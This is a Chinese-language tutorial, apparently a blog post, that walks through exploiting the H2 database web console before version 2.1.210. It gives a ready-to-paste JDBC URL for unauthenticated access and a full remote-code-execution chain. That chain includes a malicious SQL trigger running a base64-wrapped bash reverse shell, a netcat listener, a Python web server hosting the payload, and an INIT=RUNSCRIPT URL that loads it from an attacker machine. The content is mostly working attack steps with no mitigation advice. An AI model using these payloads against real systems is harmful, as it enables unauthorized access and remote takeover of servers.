数据库应用-H2database–未授权访问&命令执行漏洞

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。

H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

1、未授权访问:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

将上面这条代码复制到 JDBC URL中

image

直接点击连接即可,未授权进入数据库

image

2、命令执行漏洞:

在攻击机上创建一个数据库文件:h2database.sql

这个sql文件内容需要自己修改

反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';

​​1700927451238​​

在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)

image

启动提供SQL文件远程加载服务

利用以下命令快速提供一个web服务,这条命令会把当前目录下的所有内容共享出去,那么你需要到刚才创建sql文件的目录下执行下面这条命令

python3 -m http.server 端口

image

填入Payload使其加载远程SQL

下面这条命令的后面需要修改一下你自己攻击机的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令写入到 JDBC URL中点击连接即可

image

返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功

image

Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐